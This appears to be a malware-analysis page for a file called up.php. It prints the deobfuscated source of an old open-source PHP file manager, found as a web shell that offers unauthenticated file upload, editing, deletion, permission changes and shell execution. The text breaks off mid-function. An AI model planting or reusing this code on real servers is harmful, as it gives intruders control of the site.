PHP Malware Analysis

up.php

md5: 5ef4fce235b749cfa333dd5ccbda4878

Jump to:

Screenshot


Attributes

Emails

Encoding

Environment

Execution

Files

Input

Title

URLs


Deobfuscated PHP code

<?php

/*
 * webadmin.php - a simple Web-based file manager
 * Copyright (C) 2004  Daniel Wacker <daniel.wacker@web.de>
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
 *
 * -------------------------------------------------------------------------
 * While using this script, do NOT navigate with your browser's back and
 * forward buttons! Always open files in a new browser tab!
 * -------------------------------------------------------------------------
 *
 * This is Version 0.9, revision 10
 * =========================================================================
 *
 * Changes of revision 10
 * <alex-smirnov@web.de>
 *    added Russian translation
 * <daniel.wacker@web.de>
 *    added </td> to achieve valid XHTML (thanks to Marc Magos)
 *    improved delete function
 * <ava@asl.se>
 *    new list order: folders first
 *
 * Changes of revision 9
 * <daniel.wacker@web.de>
 *    added workaround for directory listing, if lstat() is disabled
 *    fixed permisson of uploaded files (thanks to Stephan Duffner)
 *
 * Changes of revision 8
 * <okankan@stud.sdu.edu.tr>
 *    added Turkish translation
 * <j@kub.cz>
 *    added Czech translation
 * <daniel.wacker@web.de>
 *    improved charset handling
 *
 * Changes of revision 7
 * <szuniga@vtr.net>
 *    added Spanish translation
 * <lars@soelgaard.net>
 *    added Danish translation
 * <daniel.wacker@web.de>
 *    improved rename dialog
 *
 * Changes of revision 6
 * <nederkoorn@tiscali.nl>
 *    added Dutch translation
 *
 * Changes of revision 5
 * <daniel.wacker@web.de>
 *    added language auto select
 *    fixed symlinks in directory listing
 *    removed word-wrap in edit textarea
 *
 * Changes of revision 4
 * <daloan@guideo.fr>
 *    added French translation
 * <anders@wiik.cc>
 *    added Swedish translation
 *
 * Changes of revision 3
 * <nzunta@gabriele-erba.it>
 *    improved Italian translation
 *
 * Changes of revision 2
 * <daniel.wacker@web.de>
 *    got images work in some old browsers
 *    fixed creation of directories
 *    fixed files deletion
 *    improved path handling
 *    added missing word 'not_created'
 * <till@tuxen.de>
 *    improved human readability of file sizes
 * <nzunta@gabriele-erba.it>
 *    added Italian translation
 *
 * Changes of revision 1
 * <daniel.wacker@web.de>
 *    webadmin.php completely rewritten:
 *    - clean XHTML/CSS output
 *    - several files selectable
 *    - support for windows servers
 *    - no more treeview, because
 *      - webadmin.php is a >simple< file manager
 *      - performance problems (too much additional code)
 *      - I don't like: frames, java-script, to reload after every treeview-click
 *    - execution of shell scripts
 *    - introduced revision numbers
 *
/* ------------------------------------------------------------------------- */
/* Your language:
 * 'en' - English
 * 'de' - German
 * 'fr' - French
 * 'it' - Italian
 * 'nl' - Dutch
 * 'se' - Swedish
 * 'sp' - Spanish
 * 'dk' - Danish
 * 'tr' - Turkish
 * 'cs' - Czech
 * 'ru' - Russian
 * 'auto' - autoselect
 */
$lang = 'auto';
/* Charset of output:
 * possible values are described in the charset table at
 * http://www.php.net/manual/en/function.htmlentities.php
 * 'auto' - use the same charset as the words of my language are encoded
 */
$site_charset = 'auto';
/* Homedir:
 * For example: './' - the script's directory
 */
$homedir = './';
/* Size of the edit textarea
 */
$editcols = 80;
$editrows = 25;
/* -------------------------------------------
 * Optional configuration (remove # to enable)
 */
/* Permission of created directories:
 * For example: 0705 would be 'drwx---r-x'.
 */
# $dirpermission = 0705;
/* Permission of created files:
 * For example: 0604 would be '-rw----r--'.
 */
# $filepermission = 0604;
/* Filenames related to the apache web server:
 */
$htaccess = '.htaccess';
$htpasswd = '.htpasswd';
/* ------------------------------------------------------------------------- */
if (get_magic_quotes_gpc()) {
    array_walk($_GET, 'strip');
    array_walk($_POST, 'strip');
    array_walk($_REQUEST, 'strip');
}
if (array_key_exists('image', $_GET)) {
    header('Content-Type: image/gif');
    die(getimage($_GET['image']));
}
if (!function_exists('lstat')) {
    function lstat($filename)
    {
        return stat($filename);
    }
}
$delim = DIRECTORY_SEPARATOR;
if (function_exists('php_uname')) {
    $win = false;
} else {
    $win = false;
}
if (!empty($_SERVER['PATH_TRANSLATED'])) {
    $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
} elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
    $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
} elseif (function_exists('getcwd')) {
    $scriptdir = getcwd();
} else {
    $scriptdir = '.';
}
$homedir = relative2absolute($homedir, $scriptdir);
$dir = array_key_exists('dir', $_REQUEST) ? $_REQUEST['dir'] : $homedir;
if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
    $dir = relative2absolute($dir, $_POST['olddir']);
}
$directory = simplify_path(addslash($dir));
$files = array();
$action = '';
if (!empty($_POST['submit_all'])) {
    $action = $_POST['action_all'];
    for ($i = 0; $i < $_POST['num']; $i++) {
        if (array_key_exists("checked{$i}", $_POST) && $_POST["checked{$i}"] == 'true') {
            $files[] = $_POST["file{$i}"];
        }
    }
} elseif (!empty($_REQUEST['action'])) {
    $action = $_REQUEST['action'];
    $files[] = relative2absolute($_REQUEST['file'], $directory);
} elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
    $files[] = $_FILES['upload'];
    $action = 'upload';
} elseif (array_key_exists('num', $_POST)) {
    for ($i = 0; $i < $_POST['num']; $i++) {
        if (array_key_exists("submit{$i}", $_POST)) {
            break;
        }
    }
    if ($i < $_POST['num']) {
        $action = $_POST["action{$i}"];
        $files[] = $_POST["file{$i}"];
    }
}
if (empty($action) && (!empty($_POST['submit_create']) || array_key_exists('focus', $_POST) && $_POST['focus'] == 'create') && !empty($_POST['create_name'])) {
    $files[] = relative2absolute($_POST['create_name'], $directory);
    switch ($_POST['create_type']) {
        case 'directory':
            $action = 'create_directory';
            break;
        case 'file':
            $action = 'create_file';
    }
}
if (sizeof($files) == 0) {
    $action = '';
} else {
    $file = reset($files);
}
if ($lang == 'auto') {
    if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
        $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
    } else {
        $lang = 'en';
    }
}
$words = getwords($lang);
if ($site_charset == 'auto') {
    $site_charset = $word_charset;
}
$cols = $win ? 4 : 7;
if (!isset($dirpermission)) {
    $dirpermission = function_exists('umask') ? 0777 & ~umask() : 0755;
}
if (!isset($filepermission)) {
    $filepermission = function_exists('umask') ? 0666 & ~umask() : 0644;
}
if (!empty($_SERVER['SCRIPT_NAME'])) {
    $self = html(basename($_SERVER['SCRIPT_NAME']));
} elseif (!empty($_SERVER['PHP_SELF'])) {
    $self = html(basename($_SERVER['PHP_SELF']));
} else {
    $self = '';
}
if (!empty($_SERVER['SERVER_SOFTWARE'])) {
    if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
        $apache = true;
    } else {
        $apache = false;
    }
} else {
    $apache = true;
}
switch ($action) {
    case 'view':
        if (is_script($file)) {
            /* highlight_file is a mess! */
            ob_start();
            highlight_file($file);
            $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \\1">', ob_get_contents());
            $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
            ob_end_clean();
            html_header();
            echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>

<hr />

<table>
<tr>
<td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
<pre style="margin-top: 0"><code>';
            for ($i = 1; $i <= sizeof(file($file)); $i++) {
                echo "{$i}\n";
            }
            echo '</code></pre>
</td>
<td style="text-align: left; vertical-align: top; padding-left: 3pt">
<pre style="margin-top: 0">' . $src . '</pre>
</td>
</tr>
</table>

';
            html_footer();
        } else {
            header('Content-Type: ' . getmimetype($file));
            header('Content-Disposition: filename=' . basename($file));
            readfile($file);
        }
        break;
    case 'download':
        header('Pragma: public');
        header('Expires: 0');
        header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
        header('Content-Type: ' . getmimetype($file));
        header('Content-Disposition: attachment; filename=' . basename($file) . ';');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        break;
    case 'upload':
        $dest = relative2absolute($file['name'], $directory);
        if (@file_exists($dest)) {
            listing_page(error('already_exists', $dest));
        } elseif (@move_uploaded_file($file['tmp_name'], $dest)) {
            @chmod($dest, $filepermission);
            listing_page(notice('uploaded', $file['name']));
        } else {
            listing_page(error('not_uploaded', $file['name']));
        }
        break;
    case 'create_directory':
        if (@file_exists($file)) {
            listing_page(error('already_exists', $file));
        } else {
            $old = @umask(0777 & ~$dirpermission);
            if (@mkdir($file, $dirpermission)) {
                listing_page(notice('created', $file));
            } else {
                listing_page(error('not_created', $file));
            }
            @umask($old);
        }
        break;
    case 'create_file':
        if (@file_exists($file)) {
            listing_page(error('already_exists', $file));
        } else {
            $old = @umask(0777 & ~$filepermission);
            if (@touch($file)) {
                edit($file);
            } else {
                listing_page(error('not_created', $file));
            }
            @umask($old);
        }
        break;
    case 'execute':
        chdir(dirname($file));
        $output = array();
        $retval = 0;
        exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
        $error = false;
        if (sizeof($output) == 0) {
            $output = array('<' . $words['no_output'] . '>');
        }
        if ($error) {
            listing_page(error('not_executed', $file, implode("\n", $output)));
        } else {
            listing_page(notice('executed', $file, implode("\n", $output)));
        }
        break;
    case 'delete':
        if (!empty($_POST['no'])) {
            listing_page();
        } elseif (!empty($_POST['yes'])) {
            $failure = array();
            $success = array();
            foreach ($files as $file) {
                if (del($file)) {
                    $success[] = $file;
                } else {
                    $failure[] = $file;
                }
            }
            $message = '';
            if (sizeof($failure) > 0) {
                $message = error('not_deleted', implode("\n", $failure));
            }
            if (sizeof($success) > 0) {
                $message .= notice('deleted', implode("\n", $success));
            }
            listing_page($message);
        } else {
            html_header();
            echo '<form action="' . $self . '" method="post">
<table class="dialog">
<tr>
<td class="dialog">
';
            request_dump();
            echo "\t<b>" . word('really_delete') . '</b>
	<p>
';
            foreach ($files as $file) {
                echo "\t" . html($file) . "<br />\n";
            }
            echo '	</p>
	<hr />
	<input type="submit" name="no" value="' . word('no') . '" id="red_button" />
	<input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
</td>
</tr>
</table>
</form>

';
            html_footer();
        }
        break;
    case 'rename':
        if (!empty($_POST['destination'])) {
            $dest = relative2absolute($_POST['destination'], $directory);
            if (!@file_exists($dest) && @rename($file, $dest)) {
                listing_page(notice('renamed', $file, $dest));
            } else {
                listing_page(error('not_renamed', $file, $dest));
            }
        } else {
            $name = basename($file);
            html_header();
            echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
	<input type="hidden" name="action" value="rename" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />
	<b>' . word('rename_file') . '</b>
	<p>' . html($file) . '</p>
	<b>' . substr($file, 0, strlen($file) - strlen($name)) . '</b>
	<input type="text" name="destination" size="' . textfieldsize($name) . '" value="' . html($name) . '" />
	<hr />
	<input type="submit" value="' . word('rename') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
            html_footer();
        }
        break;
    case 'move':
        if (!empty($_POST['destination'])) {
            $dest = relative2absolute($_POST['destination'], $directory);
            $failure = array();
            $success = array();
            foreach ($files as $file) {
                $filename = substr($file, strlen($directory));
                $d = $dest . $filename;
                if (!@file_exists($d) && @rename($file, $d)) {
                    $success[] = $file;
                } else {
                    $failure[] = $file;
                }
            }
            $message = '';
            if (sizeof($failure) > 0) {
                $message = error('not_moved', implode("\n", $failure), $dest);
            }
            if (sizeof($success) > 0) {
                $message .= notice('moved', implode("\n", $success), $dest);
            }
            listing_page($message);
        } else {
            html_header();
            echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
';
            request_dump();
            echo "\t<b>" . word('move_files') . '</b>
	<p>
';
            foreach ($files as $file) {
                echo "\t" . html($file) . "<br />\n";
            }
            echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('move') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
            html_footer();
        }
        break;
    case 'copy':
        if (!empty($_POST['destination'])) {
            $dest = relative2absolute($_POST['destination'], $directory);
            if (@is_dir($dest)) {
                $failure = array();
                $success = array();
                foreach ($files as $file) {
                    $filename = substr($file, strlen($directory));
                    $d = addslash($dest) . $filename;
                    if (!@is_dir($file) && !@file_exists($d) && @copy($file, $d)) {
                        $success[] = $file;
                    } else {
                        $failure[] = $file;
                    }
                }
                $message = '';
                if (sizeof($failure) > 0) {
                    $message = error('not_copied', implode("\n", $failure), $dest);
                }
                if (sizeof($success) > 0) {
                    $message .= notice('copied', implode("\n", $success), $dest);
                }
                listing_page($message);
            } else {
                if (!@file_exists($dest) && @copy($file, $dest)) {
                    listing_page(notice('copied', $file, $dest));
                } else {
                    listing_page(error('not_copied', $file, $dest));
                }
            }
        } else {
            html_header();
            echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">
';
            request_dump();
            echo "\n<b>" . word('copy_files') . '</b>
	<p>
';
            foreach ($files as $file) {
                echo "\t" . html($file) . "<br />\n";
            }
            echo '	</p>
	<hr />
	' . word('destination') . ':
	<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
	<input type="submit" value="' . word('copy') . '" />
</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
            html_footer();
        }
        break;
    case 'create_symlink':
        if (!empty($_POST['destination'])) {
            $dest = relative2absolute($_POST['destination'], $directory);
            if (substr($dest, -1, 1) == $delim) {
                $dest .= basename($file);
            }
            if (!empty($_POST['relative'])) {
                $file = absolute2relative(addslash(dirname($dest)), $file);
            }
            if (!@file_exists($dest) && @symlink($file, $dest)) {
                listing_page(notice('symlinked', $file, $dest));
            } else {
                listing_page(error('not_symlinked', $file, $dest));
            }
        } else {
            html_header();
            echo '<form action="' . $self . '" method="post">

<table class="dialog" id="symlink">
<tr>
	<td style="vertical-align: top">' . word('destination') . ': </td>
	<td>
		<b>' . html($file) . '</b><br />
		<input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
		<label for="checkbox_relative">' . word('relative') . '</label>
		<input type="hidden" name="action" value="create_symlink" />
		<input type="hidden" name="file" value="' . html($file) . '" />
		<input type="hidden" name="dir" value="' . html($directory) . '" />
	</td>
</tr>
<tr>
	<td>' . word('symlink') . ': </td>
	<td>
		<input type="text" name="destination" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
		<input type="submit" value="' . word('create_symlink') . '" />
	</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
            html_footer();
        }
        break;
    case 'edit':
        if (!empty($_POST['save'])) {
            $content = str_replace("\r\n", "\n", $_POST['content']);
            if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
                listing_page(notice('saved', $file));
            } else {
                listing_page(error('not_saved', $file));
            }
        } else {
            if (@is_readable($file) && @is_writable($file)) {
                edit($file);
            } else {
                listing_page(error('not_edited', $file));
            }
        }
        break;
    case 'permission':
        if (!empty($_POST['set'])) {
            $mode = 0;
            if (!empty($_POST['ur'])) {
                $mode = 256;
            }
            if (!empty($_POST['uw'])) {
                $mode |= 0200;
            }
            if (!empty($_POST['ux'])) {
                $mode |= 0100;
            }
            if (!empty($_POST['gr'])) {
                $mode |= 040;
            }
            if (!empty($_POST['gw'])) {
                $mode |= 020;
            }
            if (!empty($_POST['gx'])) {
                $mode |= 010;
            }
            if (!empty($_POST['or'])) {
                $mode |= 04;
            }
            if (!empty($_POST['ow'])) {
                $mode |= 02;
            }
            if (!empty($_POST['ox'])) {
                $mode |= 01;
            }
            if (@chmod($file, $mode)) {
                listing_page(notice('permission_set', $file, decoct($mode)));
            } else {
                listing_page(error('permission_not_set', $file, decoct($mode)));
            }
        } else {
            html_header();
            $mode = fileperms($file);
            echo '<form action="' . $self . '" method="post">

<table class="dialog">
<tr>
<td class="dialog">

	<p style="margin: 0">' . phrase('permission_for', $file) . '</p>

	<hr />

	<table id="permission">
	<tr>
		<td></td>
		<td style="border-right: 1px solid black">' . word('owner') . '</td>
		<td style="border-right: 1px solid black">' . word('group') . '</td>
		<td>' . word('other') . '</td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('read') . ':</td>
		<td><input type="checkbox" name="ur" value="1"';
            if ($mode & 0400) {
                echo " checked=\"checked\"";
            }
            echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"gr\" value=\"1\"";
            if ($mode & 040) {
                echo " checked=\"checked\"";
            }
            echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"or\" value=\"1\"";
            if ($mode & 04) {
                echo " checked=\"checked\"";
            }
            echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('write') . ':</td>
		<td><input type="checkbox" name="uw" value="1"';
            if ($mode & 0200) {
                echo " checked=\"checked\"";
            }
            echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"gw\" value=\"1\"";
            if ($mode & 020) {
                echo " checked=\"checked\"";
            }
            echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"ow\" value=\"1\"";
            if ($mode & 02) {
                echo " checked=\"checked\"";
            }
            echo ' /></td>
	</tr>
	<tr>
		<td style="text-align: right">' . word('execute') . ':</td>
		<td><input type="checkbox" name="ux" value="1"';
            if ($mode & 0100) {
                echo " checked=\"checked\"";
            }
            echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"gx\" value=\"1\"";
            if ($mode & 010) {
                echo " checked=\"checked\"";
            }
            echo " /></td>\r\n\t\t<td><input type=\"checkbox\" name=\"ox\" value=\"1\"";
            if ($mode & 01) {
                echo " checked=\"checked\"";
            }
            echo ' /></td>
	</tr>
	</table>

	<hr />

	<input type="submit" name="set" value="' . word('set') . '" />

	<input type="hidden" name="action" value="permission" />
	<input type="hidden" name="file" value="' . html($file) . '" />
	<input type="hidden" name="dir" value="' . html($directory) . '" />

</td>
</tr>
</table>

<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>

</form>

';
            html_footer();
        }
        break;
    default:
        listing_page();
}
/* ------------------------------------------------------------------------- */
function getlist($directory)
{
    global $delim, $win;
    if ($d = @opendir($directory)) {
        while (($filename = @readdir($d)) !== false) {
            $path = $directory . $filename;
            if ($stat = @lstat($path)) {
                $file = array('filename' => $filename, 'path' => $path, 'is_file' => @is_file($path), 'is_dir' => @is_dir($path), 'is_link' => @is_link($path), 'is_readable' => @is_readable($path), 'is_writable' => @is_writable($path), 'size' => $stat['size'], 'permission' => $stat['mode'], 'owner' => $stat['uid'], 'group' => $stat['gid'], 'mtime' => @filemtime($path), 'atime' => @fileatime($path), 'ctime' => @filectime($path));
                if ($file['is_dir']) {
                    $file['is_executable'] = @file_exists($path . $delim . '.');
                } else {
                    if (!$win) {
                        $file['is_executable'] = @is_executable($path);
                    } else {
                        $file['is_executable'] = true;
                    }
                }
                if ($file['is_link']) {
                    $file['target'] = @readlink($path);
                }
                if (function_exists('posix_getpwuid')) {
                    $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
                }
                if (function_exists('posix_getgrgid')) {
                    $file['group_name'] = @reset(posix_getgrgid($file['group']));
                }
                $files[] = $file;
            }
        }
        return $files;
    } else {
        return false;
    }
}
function sortlist($list, $key, $reverse)
{
    $dirs = array();
    $files = array();
    for ($i = 0; $i < sizeof($list); $i++) {
        if ($list[$i]['is_dir']) {
            $dirs[] = $list[$i];
        } else {
            $files[] = $list[$i];
        }
    }
    quicksort($dirs, 0, sizeof($dirs) - 1, $key);
    if ($reverse) {
        $dirs = array_reverse($dirs);
    }
    quicksort($files, 0, sizeof($files) - 1, $key);
    if ($reverse) {
        $files = array_reverse($files);
    }
    return array_merge($dirs, $files);
}
function quicksort(&$array, $first, $last, $key)
{
    if ($first < $last) {
        $cmp = $array[floor(($first + $last) / 2)][$key];
        $l = $first;
        $r = $last;
        while ($l <= $r) {
            while ($array[$l][$key] < $cmp) {
                $l++;
            }
            while ($array[$r][$key] > $cmp) {
                $r--;
            }
            if ($l <= $r) {
                $tmp = $array[$l];
                $array[$l] = $array[$r];
                $array[$r] = $tmp;
                $l++;
                $r--;
            }
        }
        quicksort($array, $first, $r, $key);
        quicksort($array, $l, $last, $key);
    }
}
function permission_octal2string($mode)
{
    if (($mode & 0xc000) === 0xc000) {
        $type = 's';
    } elseif (($mode & 0xa000) === 0xa000) {
        $type = 'l';
    } elseif (($mode & 0x8000) === 0x8000) {
        $type = '-';
    } elseif (($mode & 0x6000) === 0x6000) {
        $type = 'b';
    } elseif (($mode & 0x4000) === 0x4000) {
        $type = 'd';
    } elseif (($mode & 0x2000) === 0x2000) {
        $type = 'c';
    } elseif (($mode & 0x1000) === 0x1000) {
        $type = 'p';
    } else {
        $type = '?';
    }
    $owner = $mode & 0400 ? 'r' : '-';
    $owner .= $mode & 0200 ? 'w' : '-';
    if ($mode & 0x800) {
        $owner .= $mode & 0100 ? 's' : 'S';
    } else {
        $owner .= $mode & 0100 ? 'x' : '-';
    }
    $group = $mode & 040 ? 'r' : '-';
    $group .= $mode & 020 ? 'w' : '-';
    if ($mode & 0x400) {
        $group .= $mode & 010 ? 's' : 'S';
    } else {
        $group .= $mode & 010 ? 'x' : '-';
    }
    $other = $mode & 04 ? 'r' : '-';
    $other .= $mode & 02 ? 'w' : '-';
    if ($mode & 0x200) {
        $other .= $mode & 01 ? 't' : 'T';
    } else {
        $other .= $mode & 01 ? 'x' : '-';
    }
    return $type . $owner . $group . $other;
}
function is_script($filename)
{
    return ereg('\\.php$|\\.php3$|\\.php4$|\\.php5$', $filename);
}
function getmimetype($filename)
{
    static $mimes = array('\\.jpg$|\\.jpeg$' => 'image/jpeg', '\\.gif$' => 'image/gif', '\\.png$' => 'image/png', '\\.html$|\\.html$' => 'text/html', '\\.txt$|\\.asc$' => 'text/plain', '\\.xml$|\\.xsl$' => 'application/xml', '\\.pdf$' => 'application/pdf');
    foreach ($mimes as $regex => $mime) {
        if (eregi($regex, $filename)) {
            return $mime;
        }
    }
    return "text/plain";
}
function del($file)
{
    global $delim;
    if (!file_exists($file)) {
        return false;
    }
    if (@is_dir($file) && !@is_link($file)) {
        $success = false;
        if (@rmdir($file)) {
            $success = true;
        } elseif ($dir = @opendir($file)) {
            $success = true;
            while (($f = readdir($dir)) !== false) {
                if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
                    $success = false;
                }
            }
            closedir($dir);
            if ($success) {
                $success = @rmdir($file);
            }
        }
        return $success;
    }
    return @unlink($file);
}
function addslash($directory)
{
    global $delim;
    if (substr($directory, -1, 1) != $delim) {
        return $directory . $delim;
    } else {
        return $directory;
    }
}
function relative2absolute($string, $directory)
{
    if (path_is_relative($string)) {
        return simplify_path(addslash($directory) . $string);
    } else {
        return simplify_path($string);
    }
}
function path_is_relative($path)
{
    global $win;
    if ($win) {
        return substr($path, 1, 1) != ':';
    } else {
        return substr($path, 0, 1) != '/';
    }
}
function absolute2relative($directory, $target)
{
    global $delim;
    $path = '';
    while ($directory != $target) {
        if ($directory == substr($target, 0, strlen($directory))) {
            $path .= substr($target, strlen($directory));
            break;
        } else {
            $path .= '..' . $delim;
            $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
        }
    }
    if ($path == '') {
        $path = '.';
    }
    return $path;
}
function simplify_path($path)
{
    global $delim;
    if (@file_exists($path) && function_exists('realpath') && @realpath($path) != '') {
        $path = realpath($path);
        if (@is_dir($path)) {
            return addslash($path);
        } else {
            return $path;
        }
    }
    $pattern = $delim . '.' . $delim;
    if (@is_dir($path)) {
        $path = addslash($path);
    }
    while (strpos($path, $pattern) !== false) {
        $path = str_replace($pattern, $delim, $path);
    }
    $e = addslashes($delim);
    $regex = $e . '((\\.[^\\.' . $e . '][^' . $e . ']*)|(\\.\\.[^' . $e . ']+)|([^\\.][^' . $e . ']*))' . $e . '\\.\\.' . $e;
    while (ereg($regex, $path)) {
        $path = ereg_replace($regex, $delim, $path);
    }
    return $path;
}
function human_filesize($filesize)
{
    $suffices = 'kMGTPE';
    $n = 0;
    while ($filesize >= 1000) {
        $filesize /= 1024;
        $n++;
    }
    $filesize = round($filesize, 3 - strpos($filesize, '.'));
    if (strpos($filesize, '.') !== false) {
        while (in_array(substr($filesize, -1, 1), array('0', '.'))) {
            $filesize = substr($filesize, 0, strlen($filesize) - 1);
        }
    }
    $suffix = $n == 0 ? '' : substr($suffices, $n - 1, 1);
    return $filesize . " {$suffix}B";
}
function strip(&$str)
{
    $str = stripslashes($str);
}
/* ------------------------------------------------------------------------- */
function listing_page($message = null)
{
    global $self, $directory, $sort, $reverse;
    html_header();
    $list = getlist($directory);
    if (array_key_exists('sort', $_GET)) {
        $sort = $_GET['sort'];
    } else {
        $sort = 'filename';
    }
    if (array_key_exists('reverse', $_GET) && $_GET['reverse'] == 'true') {
        $reverse = true;
    } else {
        $reverse = false;
    }
    $list = sortlist($list, $sort, $reverse);
    echo '<h1 style="margin-bottom: 0">webadmin.php</h1>

<form enctype="multipart/form-data" action="' . $self . '" method="post">

<table id="main">
';
    directory_choice();
    if (!empty($message)) {
        spacer();
        echo $message;
    }
    if (@is_writable($directory)) {
        upload_box();
        create_box();
    } else {
        spacer();
    }
    if ($list) {
        listing($list);
    } else {
        echo error('not_readable', $directory);
    }
    echo "</table>\r\n\r\n</form>\r\n\r\n";
    html_footer();
}
function listing($list)
{
    global $directory, $homedir, $sort, $reverse, $win, $cols, $date_format, $self;
    echo '<tr class="listing">
	<th style="text-align: center; vertical-align: middle"><img src="' . $self . '?image=smiley" alt="smiley" /></th>
';
    column_title('filename', $sort, $reverse);
    column_title('size', $sort, $reverse);
    if (!$win) {
        column_title('permission', $sort, $reverse);
        column_title('owner', $sort, $reverse);
        column_title('group', $sort, $reverse);
    }
    echo '	<th class="functions">' . word('functions') . '</th>
</tr>
';
    for ($i = 0; $i < sizeof($list); $i++) {
        $file = $list[$i];
        $timestamps = 'mtime: ' . date($date_format, $file['mtime']) . ', ';
        $timestamps .= 'atime: ' . date($date_format, $file['atime']) . ', ';
        $timestamps .= 'ctime: ' . date($date_format, $file['ctime']);
        echo '<tr class="listing">
	<td class="checkbox"><input type="checkbox" name="checked' . $i . '" value="true" onfocus="activate(\'other\')" /></td>
	<td class="filename" title="' . html($timestamps) . '">';
        if ($file['is_link']) {
            echo '<img src="' . $self . '?image=link" alt="link" /> ';
            echo html($file['filename']) . ' &rarr; ';
            $real_file = relative2absolute($file['target'], $directory);
            if (@is_readable($real_file)) {
                if (@is_dir($real_file)) {
                    echo '[ <a href="' . $self . '?dir=' . urlencode($real_file) . '">' . html($file['target']) . '</a> ]';
                } else {
                    echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
                }
            } else {
                echo html($file['target']);
            }
        } elseif ($file['is_dir']) {
            echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
            if ($win || $file['is_executable']) {
                echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
            } else {
                echo html($file['filename']);
            }
            echo " ]";
        } else {
            if (substr($file['filename'], 0, 1) == '.') {
                echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
            } else {
                echo '<img src="' . $self . '?image=file" alt="file" /> ';
            }
            if ($file['is_file'] && $file['is_readable']) {
                echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
            } else {
                echo html($file['filename']);
            }
        }
        if ($file['size'] >= 1000) {
            $human = ' title="' . human_filesize($file['size']) . '"';
        } else {
            $human = '';
        }
        echo "</td>\n";
        echo "\t<td class=\"size\"{$human}>{$file['size']} B</td>\n";
        if (!$win) {
            echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
            $l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
            if ($l) {
                echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
            }
            echo html(permission_octal2string($file['permission']));
            if ($l) {
                echo "</a>";
            }
            echo "</td>\n";
            if (array_key_exists('owner_name', $file)) {
                echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
            } else {
                echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
            }
            if (array_key_exists('group_name', $file)) {
                echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
            } else {
                echo "\t<td class=\"group\">{$file['group']}</td>\n";
            }
        }
        echo '	<td class="functions">
		<input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
';
        $actions = array();
        if (function_exists('symlink')) {
            $actions[] = 'create_symlink';
        }
